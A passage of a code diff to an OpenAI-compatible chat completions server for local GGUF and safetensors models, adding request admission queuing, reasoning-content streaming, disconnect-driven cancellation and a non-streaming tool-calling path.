parts) ───── - system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) + # Reuse the pre-hook parse when auto-switch did it, else parse now. + if _pre_parsed is not None: + system_prompt, chat_messages, extracted_image_b64 = _pre_parsed + else: + system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) if not chat_messages: raise _reject(400, "At least one non-system message is required.") @@ -4936,6 +6800,30 @@ async def openai_chat_completions( completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}" created = int(time.time()) + def _new_chat_reasoning_extractor(): + return _ResponsesReasoningExtractor( + parse_think_markers = _responses_should_parse_think_markers( + payload, + llama_backend, + ) + ) + + def _gguf_chat_delta_line(delta: ChoiceDelta, finish_reason = None) -> str: + if delta.reasoning_content is not None and delta.content is None: + delta = delta.model_copy(update = {"content": ""}) + chunk = ChatCompletionChunk( + id = completion_id, + created = created, + model = model_name, + choices = [ + ChunkChoice( + delta = delta, + finish_reason = finish_reason, + ) + ], + ) + return f"data: {chunk.model_dump_json(exclude_none = True)}\n\n" + # ── Tool-calling path (agentic loop) ────────────────── # `_effective_enable_tools` lets `unsloth run --enable-tools/--disable-tools` # hard-override the per-request value, else falls back to @@ -4946,8 +6834,12 @@ async def openai_chat_completions( from state.tool_policy import get_tool_policy as _get_tool_policy_g _cli_policy = _get_tool_policy_g() - _tools_on = _effective_enable_tools(payload) - _mcp_allowed = bool(payload.mcp_enabled) and _cli_policy is not False + _tools_on = False if _client_disabled_tool_calls else _effective_enable_tools(payload) + _mcp_allowed = ( + not _client_disabled_tool_calls + and bool(payload.mcp_enabled) + and _cli_policy is not False + ) use_tools = (_tools_on or _mcp_allowed) and llama_backend.supports_tools if use_tools: @@ -4997,13 +6889,18 @@ async def openai_chat_completions( _gguf_auto_heal_tool_calls = ( payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True ) + # Active tool names gating the bare-rehearsal strip, matching the loop gate. + _gguf_display_tool_names = _display_tool_name_gate(tools_to_use) # ── Strip stale tool-call XML from conversation history ─ for _msg in gguf_messages: if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str): + # Gate on enabled tool names, like the live strip, so a documented inactive + # ``foo[ARGS]{...}`` survives in the replayed prompt context. _msg["content"] = _strip_tool_xml_for_display( _msg["content"], auto_heal_tool_calls = _gguf_auto_heal_tool_calls, + enabled_tool_names = _gguf_display_tool_names, ).strip() def gguf_generate_with_tools(): @@ -5024,6 +6921,7 @@ async def openai_chat_completions( reasoning_effort = payload.reasoning_effort, preserve_thinking = payload.preserve_thinking, auto_heal_tool_calls = _gguf_auto_heal_tool_calls, + nudge_tool_calls = payload.nudge_tool_calls, max_tool_iterations = payload.max_tool_calls_per_message if payload.max_tool_calls_per_message is not None else 25, @@ -5040,6 +6938,24 @@ async def openai_chat_completions( bypass_permissions = bool(payload.bypass_permissions), ) + _tool_admission_mode = "chat_tool_stream" if payload.stream else "chat_tool_nonstream" + try: + reservation, admission_config = _openai_llama_admission_reserve( + request = request, + llama_backend = llama_backend, + ) + except LlamaAdmissionQueueFull as exc: + _openai_admission_log( + "queue-full", + snapshot = exc.snapshot, + request = request, + mode = _tool_admission_mode, + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + raise _openai_admission_http_exception(exc, status_code = 429) + _tool_sentinel = object() _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) @@ -5048,6 +6964,11 @@ async def openai_chat_completions( async def gguf_tool_stream(): gen = None + next_task = None + stream_completed = False + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(request, cancel_event) + ) try: yield _chat_role_chunk(completion_id, created, model_name) @@ -5055,9 +6976,25 @@ async def openai_chat_completions( # stays free for disconnect detection. gen = gguf_generate_with_tools() prev_text = "" + reasoning_extractor = _new_chat_reasoning_extractor() _stream_usage = None _stream_timings = None _stream_finish = None + + def _flush_reasoning_extractor(): + final_reasoning, final_visible = reasoning_extractor.finish() + chunks = [] + if final_reasoning: + chunks.append( + _gguf_chat_delta_line( + ChoiceDelta(reasoning_content = final_reasoning) + ) + ) + if final_visible: + api_monitor.append_reply(monitor_id, final_visible) + chunks.append(_gguf_chat_delta_line(ChoiceDelta(content = final_visible))) + return chunks + while True: if cancel_event.is_set(): break @@ -5066,7 +7003,14 @@ async def openai_chat_completions( api_monitor.finish(monitor_id, "cancelled") return - event = await asyncio.to_thread(next, gen, _tool_sentinel) + next_task = asyncio.create_task( + asyncio.to_thread(next, gen, _tool_sentinel) + ) + try: + event = await asyncio.shield(next_task) + finally: + if next_task.done(): + next_task = None if event is _tool_sentinel: break @@ -5076,7 +7020,10 @@ async def openai_chat_completions( # cumulative cursor so the next assistant turn # streams cleanly. if not event["text"]: + for chunk in _flush_reasoning_extractor(): + yield chunk prev_text = "" + reasoning_extractor = _new_chat_reasoning_extractor() # Emit tool status as a custom SSE event (including # empty ones to clear UI badges) status_data = json.dumps( @@ -5090,7 +7037,10 @@ async def openai_chat_completions( if event["type"] in ("tool_start", "tool_end"): if event["type"] == "tool_start": + for chunk in _flush_reasoning_extractor(): + yield chunk prev_text = "" + reasoning_extractor = _new_chat_reasoning_extractor() yield f"data: {json.dumps(event)}\n\n" continue @@ -5100,6 +7050,11 @@ async def openai_chat_completions( _stream_finish = event.get("finish_reason") continue + if event["type"] == "reasoning_summary": + # Forward server-side reasoning timing to the UI. + yield f"data: {json.dumps(event)}\n\n" + continue + # "content" type -- cumulative text. Sanitize the full # cumulative then diff against the last sanitized # snapshot so cross-chunk XML tags are handled correctly. @@ -5107,20 +7062,39 @@ async def openai_chat_completions( clean_cumulative = _strip_tool_xml_for_display( raw_cumulative, auto_heal_tool_calls = _gguf_auto_heal_tool_calls, + enabled_tool_names = _gguf_display_tool_names, ) new_text = clean_cumulative[len(prev_text) :] prev_text = clean_cumulative if not new_text: continue - api_monitor.append_reply(monitor_id, new_text) - yield _chat_content_chunk(completion_id, created, model_name, new_text) + reasoning_delta, visible_delta = reasoning_extractor.feed(new_text) + if reasoning_delta: + yield _gguf_chat_delta_line( + ChoiceDelta(reasoning_content = reasoning_delta) + ) + if visible_delta: + api_monitor.append_reply(monitor_id, visible_delta) + yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta)) - yield _chat_final_chunk( - completion_id, - created, - model_name, - _clamp_finish_reason(_stream_finish), + for chunk in _flush_reasoning_extractor(): + yield chunk + + final_chunk = ChatCompletionChunk( + id = completion_id, + created = created, + model = model_name, + choices = [ + ChunkChoice( + delta = ChoiceDelta(), + finish_reason = _clamp_finish_reason(_stream_finish), + ) + ], ) + # Emit the terminal chunk carrying finish_reason before the + # optional usage chunk and [DONE], so OpenAI-compatible + # clients can detect stop/length/tool_calls. + yield f"data: {final_chunk.model_dump_json(exclude_none = True)}\n\n" usage_line = _openai_stream_usage_chunk( payload, completion_id, @@ -5135,6 +7109,7 @@ async def openai_chat_completions( api_monitor.finish( monitor_id, "cancelled" if cancel_event.is_set() else "completed" ) + stream_completed = True yield "data: [DONE]\n\n" except asyncio.CancelledError: @@ -5147,16 +7122,367 @@ async def openai_chat_completions( # Recover if an MTP+tensor crash killed the server mid-stream. get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: - if gen is not None: + try: + if not stream_completed: + cancel_event.set() + task_to_drain = next_task + next_task = None + while task_to_drain is not None and not task_to_drain.done(): + try: + await asyncio.shield(task_to_drain) + except asyncio.CancelledError: + cancel_event.set() + continue + except Exception: + break + if task_to_drain is not None and task_to_drain.done(): + try: + task_to_drain.exception() + except (asyncio.CancelledError, Exception): + pass + if gen is not None and not stream_completed: + try: + await asyncio.to_thread(gen.close) + except (RuntimeError, ValueError): + pass + except Exception: + logger.debug( + "Error closing GGUF tool stream generator during cleanup", + exc_info = True, + ) + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) + finally: + _tracker.__exit__(None, None, None) + + if payload.stream: + stream_lease = reservation.lease_nowait() + admission_wait_started_at = None + if stream_lease is None: + admission_wait_started_at = time.monotonic() + _openai_admission_log( + "queued", + reservation, + request = request, + mode = _tool_admission_mode, + completion_id = completion_id, + level = "debug", + ) + + async def admitted_gguf_tool_stream(): + lease = stream_lease + stream_started = False + stream_cancelled = False + try: + if lease is None: + async for wait_item in _openai_admission_wait_stream_chunks( + reservation, + admission_config, + request = request, + cancel_event = cancel_event, + ): + if isinstance(wait_item, str): + yield wait_item + continue + lease = wait_item + _openai_admission_log( + "granted-after-wait", + reservation, + request = request, + mode = _tool_admission_mode, + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + break + if lease is None: + return + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + iterator = gguf_tool_stream() + stream_started = True try: - gen.close() - except (RuntimeError, ValueError): - pass + async for chunk in iterator: + yield chunk + except asyncio.CancelledError: + stream_cancelled = True + raise + finally: + await _close_openai_admitted_stream_iterator( + iterator, + cancelled = stream_cancelled, + ) + except LlamaAdmissionTimeout as exc: + _openai_admission_log( + "timeout", + reservation, + request = request, + mode = _tool_admission_mode, + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + yield _openai_stream_error_sse( + _openai_admission_error_body(exc, status_code = 503) + ) + except LlamaAdmissionCancelled: + _openai_admission_log( + "cancelled-before-upstream", + reservation, + request = request, + mode = _tool_admission_mode, + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + api_monitor.finish(monitor_id, "cancelled") + return + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + raise + except HTTPException as exc: + status_code = getattr(exc, "status_code", 500) or 500 + detail = exc.detail + error = ( + detail + if isinstance(detail, dict) and "error" in detail + else openai_error_body(str(detail), status = status_code) + ) + api_monitor.fail(monitor_id, str(detail)) + yield _openai_stream_error_sse(error) + finally: + if lease is not None: + lease.release() + if not stream_started: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + _tracker.__exit__(None, None, None) + + async def _gguf_tool_admission_unstarted_cleanup() -> None: + api_monitor.finish(monitor_id, "cancelled") + if stream_lease is not None: + stream_lease.release() + reservation.cancel() _tracker.__exit__(None, None, None) - return _sse_streaming_response(gguf_tool_stream()) + return _SameTaskStreamingResponse( + admitted_gguf_tool_stream(), + unstarted_cleanup = _gguf_tool_admission_unstarted_cleanup, + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + ) + + # Non-streaming JSON: drain the agentic generator into one + # ChatCompletion, like the standard GGUF `else` branch. stream:false + # with tools enabled used to return an SSE body, breaking + # non-streaming clients; `unsloth studio run --model` forces tools on + # process-wide, so plain requests reach this path (#6570). + def _drain_gguf_tool_loop(): + full_text = "" + usage = None + finish = None + gen = gguf_generate_with_tools() + try: + for event in gen: + if cancel_event.is_set(): + break + if event.get("type") == "metadata": + usage = event.get("usage") + finish = event.get("finish_reason") + elif event.get("type") == "content": + # Content is cumulative within a turn and resets + # between turns, so the last event holds the final + # turn's text. As in the safetensors drain, a visible + # preamble emitted before a tool call (its own earlier + # turn) isn't carried -- only the final turn is. + full_text = _strip_tool_xml_for_display( + event.get("text", ""), + auto_heal_tool_calls = _gguf_auto_heal_tool_calls, + enabled_tool_names = _gguf_display_tool_names, + ) + return full_text, usage, finish + finally: + # Close the generator on early break/cancel so the underlying + # llama-server stream socket is released, like the SSE path. + try: + gen.close() + except (RuntimeError, ValueError): + pass + + drain_task = None + + async def _drain_cancelled_gguf_tool_task(): + if drain_task is None: + return + while not drain_task.done(): + try: + await asyncio.shield(drain_task) + except asyncio.CancelledError: + cancel_event.set() + continue + except Exception: + break + if drain_task.done(): + try: + drain_task.exception() + except (asyncio.CancelledError, Exception): + pass + + admission_lease = None + admission_wait_started_at = None + try: + if reservation.lease_nowait() is None: + admission_wait_started_at = time.monotonic() + _openai_admission_log( + "queued", + reservation, + request = request, + mode = _tool_admission_mode, + completion_id = completion_id, + level = "debug", + ) + admission_lease = await _wait_for_openai_admission_non_streaming( + reservation, + admission_config, + request = request, + cancel_event = cancel_event, + ) + if admission_wait_started_at is not None: + _openai_admission_log( + "granted-after-wait", + reservation, + request = request, + mode = _tool_admission_mode, + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_tool_loop)) + full_text, completion_usage, completion_finish = await asyncio.shield(drain_task) + reasoning_text, visible_text = _extract_responses_reasoning( + full_text, + parse_think_markers = _responses_should_parse_think_markers( + payload, llama_backend + ), + ) + message_kwargs = {"content": visible_text} + if reasoning_text: + message_kwargs["reasoning_content"] = reasoning_text + _usage = completion_usage or {} + _prompt_tokens = _usage.get("prompt_tokens") or 0 + _completion_tokens = _usage.get("completion_tokens") or 0 + response = ChatCompletion( + id = completion_id, + created = created, + model = model_name, + choices = [ + CompletionChoice( + message = CompletionMessage(**message_kwargs), + finish_reason = _clamp_finish_reason(completion_finish), + ) + ], + usage = CompletionUsage( + prompt_tokens = _prompt_tokens, + completion_tokens = _completion_tokens, + total_tokens = _prompt_tokens + _completion_tokens, + prompt_tokens_details = _prompt_tokens_details( + _usage.get("prompt_tokens_details") + ), + ), + ) + api_monitor.set_reply(monitor_id, visible_text) + _monitor_usage( + monitor_id, + { + "prompt_tokens": _prompt_tokens, + "completion_tokens": _completion_tokens, + "total_tokens": _prompt_tokens + _completion_tokens, + }, + _monitor_context_length(), + ) + api_monitor.finish( + monitor_id, "cancelled" if cancel_event.is_set() else "completed" + ) + return _model_json_response(response) + except asyncio.CancelledError: + cancel_event.set() + await _drain_cancelled_gguf_tool_task() + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) + raise + except LlamaAdmissionTimeout as exc: + _openai_admission_log( + "timeout", + reservation, + request = request, + mode = _tool_admission_mode, + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) + raise _openai_admission_http_exception(exc, status_code = 503) + except LlamaAdmissionCancelled as exc: + _openai_admission_log( + "cancelled-before-upstream", + reservation, + request = request, + mode = _tool_admission_mode, + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + api_monitor.finish(monitor_id, "cancelled") + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) + raise HTTPException( + status_code = 499, + detail = _openai_admission_error_body(exc, status_code = 499), + ) + except Exception as e: + logger.error(f"Error during GGUF tool completion: {e}", exc_info = True) + api_monitor.fail(monitor_id, _friendly_error(e)) + # Recover if an MTP+tensor crash killed the server. + get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) + # An over-context prompt makes llama-server return 400; map any + # upstream 4xx to a 400 client error rather than leaking a 500. + _cls = _classify_llama_generation_error(e) + if _cls is not None: + raise HTTPException( + status_code = 400, + detail = openai_error_body( + _friendly_error(e), + status = 400, + code = "context_length_exceeded" if _cls else None, + param = "messages", + ), + ) + raise HTTPException(status_code = 500, detail = safe_error_detail(e)) + finally: + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) # ── Standard GGUF path (no tools) ───────────────────── @@ -5190,8 +7516,31 @@ async def openai_chat_completions( _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) _tracker = _TrackedCancel(cancel_event, *_cancel_keys) _tracker.__enter__() + try: + reservation, admission_config = _openai_llama_admission_reserve( + request = request, + llama_backend = llama_backend, + ) + except LlamaAdmissionQueueFull as exc: + _tracker.__exit__(None, None, None) + _openai_admission_log( + "queue-full", + snapshot = exc.snapshot, + request = request, + mode = "chat_standard_stream", + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + raise _openai_admission_http_exception(exc, status_code = 429) async def gguf_stream_chunks(): + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(request, cancel_event) + ) + gen = None + next_task = None + stream_completed = False try: yield _chat_role_chunk(completion_id, created, model_name) @@ -5199,6 +7548,7 @@ async def openai_chat_completions( # stays free for disconnect detection. gen = gguf_generate() prev_text = "" + reasoning_extractor = _new_chat_reasoning_extractor() _stream_usage = None _stream_timings = None _stream_finish = None @@ -5209,7 +7559,14 @@ async def openai_chat_completions( cancel_event.set() api_monitor.finish(monitor_id, "cancelled") return - cumulative = await asyncio.to_thread(next, gen, _gguf_sentinel) + next_task = asyncio.create_task( + asyncio.to_thread(next, gen, _gguf_sentinel) + ) + try: + cumulative = await asyncio.shield(next_task) + finally: + if next_task.done(): + next_task = None if cumulative is _gguf_sentinel: break # Capture server metadata for the final usage chunk @@ -5232,15 +7589,38 @@ async def openai_chat_completions( prev_text = cumulative if not new_text: continue - api_monitor.append_reply(monitor_id, new_text) - yield _chat_content_chunk(completion_id, created, model_name, new_text) + reasoning_delta, visible_delta = reasoning_extractor.feed(new_text) + if reasoning_delta: + yield _gguf_chat_delta_line( + ChoiceDelta(reasoning_content = reasoning_delta) + ) + if visible_delta: + api_monitor.append_reply(monitor_id, visible_delta) + yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta)) - yield _chat_final_chunk( - completion_id, - created, - model_name, - _clamp_finish_reason(_stream_finish), + final_reasoning, final_visible = reasoning_extractor.finish() + if final_reasoning: + yield _gguf_chat_delta_line(ChoiceDelta(reasoning_content = final_reasoning)) + if final_visible: + api_monitor.append_reply(monitor_id, final_visible) + yield _gguf_chat_delta_line(ChoiceDelta(content = final_visible)) + + # Final chunk + final_chunk = ChatCompletionChunk( + id = completion_id, + created = created, + model = model_name, + choices = [ + ChunkChoice( + delta = ChoiceDelta(), + finish_reason = _clamp_finish_reason(_stream_finish), + ) + ], ) + # Emit the terminal chunk carrying finish_reason before the + # optional usage chunk and [DONE], so OpenAI-compatible + # clients can detect stop/length/tool_calls. + yield f"data: {final_chunk.model_dump_json(exclude_none = True)}\n\n" usage_line = _openai_stream_usage_chunk( payload, completion_id, @@ -5255,6 +7635,7 @@ async def openai_chat_completions( api_monitor.finish( monitor_id, "cancelled" if cancel_event.is_set() else "completed" ) + stream_completed = True yield "data: [DONE]\n\n" except asyncio.CancelledError: @@ -5265,53 +7646,347 @@ async def openai_chat_completions( logger.error(f"Error during GGUF streaming: {e}", exc_info = True) api_monitor.fail(monitor_id, _friendly_error(e)) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: - _tracker.__exit__(None, None, None) + try: + if not stream_completed: + cancel_event.set() + task_to_drain = next_task + next_task = None + while task_to_drain is not None and not task_to_drain.done(): + try: + await asyncio.shield(task_to_drain) + except asyncio.CancelledError: + cancel_event.set() + continue + except Exception: + break + if task_to_drain is not None and task_to_drain.done(): + try: + task_to_drain.exception() + except (asyncio.CancelledError, Exception): + pass + if gen is not None and not stream_completed: + try: + await asyncio.to_thread(gen.close) + except (RuntimeError, ValueError): + pass + except Exception: + logger.debug( + "Error closing GGUF stream generator during cleanup", + exc_info = True, + ) + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) + finally: + _tracker.__exit__(None, None, None) - return _sse_streaming_response(gguf_stream_chunks()) + stream_lease = reservation.lease_nowait() + admission_wait_started_at = None + if stream_lease is None: + admission_wait_started_at = time.monotonic() + _openai_admission_log( + "queued", + reservation, + request = request, + mode = "chat_standard_stream", + completion_id = completion_id, + level = "debug", + ) + + async def admitted_gguf_stream_chunks(): + lease = stream_lease + stream_started = False + stream_cancelled = False + try: + if lease is None: + async for wait_item in _openai_admission_wait_stream_chunks( + reservation, + admission_config, + request = request, + cancel_event = cancel_event, + ): + if isinstance(wait_item, str): + yield wait_item + continue + lease = wait_item + _openai_admission_log( + "granted-after-wait", + reservation, + request = request, + mode = "chat_standard_stream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + break + if lease is None: + return + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + iterator = gguf_stream_chunks() + stream_started = True + try: + async for chunk in iterator: + yield chunk + except asyncio.CancelledError: + stream_cancelled = True + raise + finally: + await _close_openai_admitted_stream_iterator( + iterator, + cancelled = stream_cancelled, + ) + except LlamaAdmissionTimeout as exc: + _openai_admission_log( + "timeout", + reservation, + request = request, + mode = "chat_standard_stream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + yield _openai_stream_error_sse( + _openai_admission_error_body(exc, status_code = 503) + ) + except LlamaAdmissionCancelled: + _openai_admission_log( + "cancelled-before-upstream", + reservation, + request = request, + mode = "chat_standard_stream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + api_monitor.finish(monitor_id, "cancelled") + return + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + raise + except HTTPException as exc: + status_code = getattr(exc, "status_code", 500) or 500 + detail = exc.detail + error = ( + detail + if isinstance(detail, dict) and "error" in detail + else openai_error_body(str(detail), status = status_code) + ) + api_monitor.fail(monitor_id, str(detail)) + yield _openai_stream_error_sse(error) + finally: + if lease is not None: + lease.release() + if not stream_started: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + _tracker.__exit__(None, None, None) + + async def _gguf_admission_unstarted_cleanup() -> None: + api_monitor.finish(monitor_id, "cancelled") + if stream_lease is not None: + stream_lease.release() + reservation.cancel() + _tracker.__exit__(None, None, None) + + return _SameTaskStreamingResponse( + admitted_gguf_stream_chunks(), + unstarted_cleanup = _gguf_admission_unstarted_cleanup, + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + ) else: + try: + reservation, admission_config = _openai_llama_admission_reserve( + request = request, + llama_backend = llama_backend, + ) + except LlamaAdmissionQueueFull as exc: + _openai_admission_log( + "queue-full", + snapshot = exc.snapshot, + request = request, + mode = "chat_standard_nonstream", + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + raise _openai_admission_http_exception(exc, status_code = 429) + + _cancel_keys = (payload.cancel_id, payload.session_id, completion_id) + _tracker = _TrackedCancel(cancel_event, *_cancel_keys) + _tracker.__enter__() + admission_lease = None + admission_wait_started_at = None + try: + if reservation.lease_nowait() is None: + admission_wait_started_at = time.monotonic() + _openai_admission_log( + "queued", + reservation, + request = request, + mode = "chat_standard_nonstream", + completion_id = completion_id, + level = "debug", + ) + admission_lease = await _wait_for_openai_admission_non_streaming( + reservation, + admission_config, + request = request, + cancel_event = cancel_event, + ) + if admission_wait_started_at is not None: + _openai_admission_log( + "granted-after-wait", + reservation, + request = request, + mode = "chat_standard_nonstream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + except asyncio.CancelledError: + api_monitor.finish(monitor_id, "cancelled") + reservation.cancel() + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) + raise + except LlamaAdmissionTimeout as exc: + _openai_admission_log( + "timeout", + reservation, + request = request, + mode = "chat_standard_nonstream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "warning", + ) + api_monitor.fail(monitor_id, str(exc)) + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) + raise _openai_admission_http_exception(exc, status_code = 503) + except LlamaAdmissionCancelled as exc: + _openai_admission_log( + "cancelled-before-upstream", + reservation, + request = request, + mode = "chat_standard_nonstream", + wait_started_at = admission_wait_started_at, + completion_id = completion_id, + level = "debug", + ) + api_monitor.finish(monitor_id, "cancelled") + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) + raise HTTPException( + status_code = 499, + detail = _openai_admission_error_body(exc, status_code = 499), + ) + try: # ``n`` requests several independent completions; the single # decode slot yields one at a time, so loop sequentially. - _n = payload.n or 1 + drain_task = None - _choices = [] - _monitor_replies = [] - _prompt_tokens = 0 - _sum_completion = 0 - _prompt_details = None - for _idx in range(_n): - # Stop spawning the remaining choices once cancelled. - if cancel_event.is_set(): - break - full_text = "" - completion_usage = None - completion_finish = None - for token in gguf_generate(_idx): - if isinstance(token, dict): - if token.get("type") == "metadata": - completion_usage = token.get("usage") - completion_finish = token.get("finish_reason") + async def _drain_cancelled_gguf_task(): + if drain_task is None: + return + while not drain_task.done(): + try: + await asyncio.shield(drain_task) + except asyncio.CancelledError: + cancel_event.set() continue - full_text = token + except Exception: + break + if drain_task.done(): + try: + drain_task.exception() + except (asyncio.CancelledError, Exception): + pass - _choices.append( - CompletionChoice( - index = _idx, - message = CompletionMessage(content = full_text), - finish_reason = _clamp_finish_reason(completion_finish), + def _drain_gguf_choices(): + _n = payload.n or 1 + _choices = [] + _monitor_replies = [] + _prompt_tokens = 0 + _sum_completion = 0 + _prompt_details = None + for _idx in range(_n): + # Stop spawning the remaining choices once cancelled. + if cancel_event.is_set(): + break + full_text = "" + completion_usage = None + completion_finish = None + for token in gguf_generate(_idx): + if isinstance(token, dict): + if token.get("type") == "metadata": + completion_usage = token.get("usage") + completion_finish = token.get("finish_reason") + continue + full_text = token + + reasoning_text, visible_text = _extract_responses_reasoning( + full_text, + parse_think_markers = _responses_should_parse_think_markers( + payload, + llama_backend, + ), ) + message_kwargs = {"content": visible_text} + if reasoning_text: + message_kwargs["reasoning_content"] = reasoning_text + _choices.append( + CompletionChoice( + index = _idx, + message = CompletionMessage(**message_kwargs), + finish_reason = _clamp_finish_reason(completion_finish), + ) + ) + _monitor_replies.append(visible_text) + if completion_usage: + # The prompt is shared across all n choices, so count its + # tokens ONCE (OpenAI bills only generated tokens for each + # extra choice). Only completion_tokens accumulates. + _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens + _sum_completion += completion_usage.get("completion_tokens") or 0 + if _prompt_details is None: + _prompt_details = completion_usage.get("prompt_tokens_details") + return ( + _n, + _choices, + _monitor_replies, + _prompt_tokens, + _sum_completion, + _prompt_details, ) - _monitor_replies.append(full_text) - if completion_usage: - # The prompt is shared across all n choices, so count its - # tokens ONCE (OpenAI bills only generated tokens for each - # extra choice). Only completion_tokens accumulates. - _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens - _sum_completion += completion_usage.get("completion_tokens") or 0 - if _prompt_details is None: - _prompt_details = completion_usage.get("prompt_tokens_details") + + drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_choices)) + ( + _n, + _choices, + _monitor_replies, + _prompt_tokens, + _sum_completion, + _prompt_details, + ) = await asyncio.shield(drain_task) response = ChatCompletion( id = completion_id, @@ -5325,7 +8000,7 @@ async def openai_chat_completions( prompt_tokens_details = _prompt_tokens_details(_prompt_details), ), ) - monitor_reply = full_text + monitor_reply = _monitor_replies[-1] if _monitor_replies else "" if _n > 1: monitor_reply = "\n\n".join( f"Choice {_idx + 1}:\n{text}" for _idx, text in enumerate(_monitor_replies) @@ -5343,6 +8018,11 @@ async def openai_chat_completions( api_monitor.finish(monitor_id) return _model_json_response(response) + except asyncio.CancelledError: + cancel_event.set() + await _drain_cancelled_gguf_task() + api_monitor.finish(monitor_id, "cancelled") + raise except Exception as e: logger.error(f"Error during GGUF completion: {e}", exc_info = True) api_monitor.fail(monitor_id, _friendly_error(e)) @@ -5362,7 +8042,10 @@ async def openai_chat_completions( ), ) raise HTTPException(status_code = 500, detail = safe_error_detail(e)) - + finally: + if admission_lease is not None: + admission_lease.release() + _tracker.__exit__(None, None, None) # ── Standard Unsloth path ───────────────────────────────── # Decode image (from content parts OR legacy field) @@ -5402,6 +8085,25 @@ async def openai_chat_completions( _sf_tpl = (_sf_model_info.get("chat_template_info") or {}).get("template") _sf_features = _detect_safetensors_features(backend, _sf_tpl) + # GGUF parity: enable_thinking templates prefill an unclosed ; split into + # reasoning_content deltas so the UI renders the block for safetensors and MLX. + _sf_parse_think = bool( + _sf_features.get("supports_reasoning") or _sf_features.get("reasoning_always_on") + ) + # Prefilled-open only for prefill styles with thinking on; gpt-oss uses the normal mode. + _sf_reasoning_prefilled = _sf_reasoning_prefill_mode( + _sf_features, + payload.enable_thinking, + _sf_tpl, + reasoning_effort = payload.reasoning_effort, + ) + + def _new_sf_reasoning_extractor(): + return _ResponsesReasoningExtractor( + parse_think_markers = _sf_parse_think, + reasoning_prefilled = _sf_reasoning_prefilled, + ) + cancel_event = threading.Event() completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}" created = int(time.time()) @@ -5477,6 +8179,8 @@ async def openai_chat_completions( _sf_auto_heal_tool_calls = ( payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True ) + # Active tool names gating the bare-rehearsal strip, matching the loop gate. + _sf_display_tool_names = _display_tool_name_gate(_sf_tools_to_use) # Strip stale tool-call XML from prior assistant turns. _sf_chat_messages = [] @@ -5488,6 +8192,7 @@ async def openai_chat_completions( "content": _strip_tool_xml_for_display( _msg["content"], auto_heal_tool_calls = _sf_auto_heal_tool_calls, + enabled_tool_names = _sf_display_tool_names, ).strip(), } ) @@ -5508,11 +8213,13 @@ async def openai_chat_completions( min_p = payload.min_p, max_tokens = effective_max_tokens, repetition_penalty = payload.repetition_penalty, + presence_penalty = payload.presence_penalty, cancel_event = cancel_event, enable_thinking = payload.enable_thinking, reasoning_effort = payload.reasoning_effort, preserve_thinking = payload.preserve_thinking, auto_heal_tool_calls = _sf_auto_heal_tool_calls, + 